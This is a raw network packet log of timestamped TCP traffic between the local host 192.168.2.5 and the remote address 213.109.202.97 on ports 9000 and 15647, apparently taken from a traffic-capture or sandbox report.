Oct 19, 2024 03:37:05.444117069 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.448185921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448240995 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448251963 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448286057 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.448335886 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448348999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448375940 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.448627949 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448673010 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.448683977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448695898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448738098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.448812962 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448824883 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.448864937 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.449378014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.490978956 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.532996893 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.568325043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568381071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568399906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568417072 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568439960 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.568453074 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568469048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568470001 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.568506956 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.568746090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568794012 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568809032 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568835020 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.568896055 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568912029 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.568937063 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.569575071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.569614887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.569617033 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.569631100 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.569669962 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.571944952 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.614270926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.614283085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.614345074 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.615978956 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.650567055 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.688288927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688298941 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688308954 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688353062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688363075 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688405991 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688496113 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.688534975 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.688834906 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688873053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688882113 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688919067 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.688977957 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.688990116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.689028978 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.689573050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.689620972 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.689621925 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.689630985 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.689671040 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.689672947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.698167086 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.734421968 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.734484911 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.734494925 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.757381916 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.762216091 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.787859917 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.801050901 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.808495998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.808505058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.808511019 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.808593035 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.808603048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.808613062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.808614016 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.808660030 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.808953047 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.809005976 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.809015989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.809057951 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.809077024 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.809096098 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.809520960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.809562922 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.809572935 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.809621096 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.809643030 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.809653997 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.809695959 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.850465059 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.854579926 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.854784966 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.854846954 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.867074966 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.914143085 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928390980 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928441048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928450108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928455114 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928491116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928530931 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.928759098 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928767920 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928816080 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.928929090 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928975105 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.928987026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.928997993 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.929033041 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.929042101 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.929455042 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.929513931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.929514885 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.929524899 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.929564953 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.929629087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.929637909 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.929694891 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.946049929 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.974695921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.974706888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.974711895 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:05.974791050 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.976248980 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:05.981065989 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.048582077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.048623085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.048635006 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.048679113 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.048710108 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.048741102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.048751116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.048762083 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.048795938 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.049000978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.049051046 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.049062014 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.049098969 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.049139023 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.049196005 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.049484968 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.049531937 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.049542904 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.049576998 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.049621105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.049633026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.049676895 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.085572004 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.090465069 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.090476036 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.094890118 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.094902039 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.094912052 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.102070093 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.131623983 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.168976068 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.168987989 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169001102 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169015884 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169044971 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.169070959 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169095039 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.169112921 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169126034 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169159889 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.169224977 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169236898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169287920 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.169622898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169670105 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.169675112 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169688940 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169734955 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.169914007 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169966936 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.169976950 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.170018911 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.196038961 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.201508999 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.215022087 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.215065002 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.215076923 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.215110064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.215122938 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.215174913 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.235136032 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.287869930 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.288871050 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.288891077 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.288902044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289021969 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289041996 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.289074898 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289083958 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.289088011 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289124966 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.289192915 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289203882 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289251089 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.289638996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289709091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289719105 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289762020 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.289803982 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289815903 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.289858103 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.290245056 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.290292978 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.290297031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.290308952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.290349960 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.304970980 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.335086107 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.335248947 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.335308075 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.350203037 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.352256060 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.397243023 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.413868904 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.593492031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593660116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593678951 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593696117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593712091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.593724012 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593744040 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593763113 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.593763113 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.593772888 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593796015 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593811989 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.593816996 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593856096 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.593925953 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593945026 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593961000 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.593978882 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.593985081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594028950 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594196081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594207048 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594217062 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594250917 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594255924 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594289064 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594455004 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594470978 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594481945 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594491005 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594500065 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594512939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594521046 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594528913 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594532013 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594543934 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594552994 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594563007 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594573975 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594609976 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594629049 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594824076 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594835043 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594845057 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594854116 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594861984 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594871044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594881058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594891071 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594899893 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594901085 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594913960 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594924927 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594926119 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594935894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594948053 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594959021 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.594968081 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.594997883 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.595501900 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.595514059 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.595527887 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.595562935 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.595635891 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.595645905 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.595678091 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.599752903 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.619182110 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.619194031 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.619204044 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.619251966 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.619292021 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.633181095 CEST	49704	15647	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.638106108 CEST	15647	49704	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649450064 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649471998 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649482965 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649521112 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.649553061 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649600029 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.649665117 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649682999 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649693012 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649724960 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.649844885 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649856091 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649867058 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.649884939 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.649909019 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.649954081 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.650615931 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.650654078 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.650666952 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.650677919 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.650717974 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.650718927 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.651115894 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.651154995 CEST	49705	9000	192.168.2.5	213.109.202.97
Oct 19, 2024 03:37:06.651166916 CEST	9000	49705	213.109.202.97	192.168.2.5
Oct 19, 2024 03:37:06.651177883 CEST	9000	49705	213.109.202.97	192.168.2.5
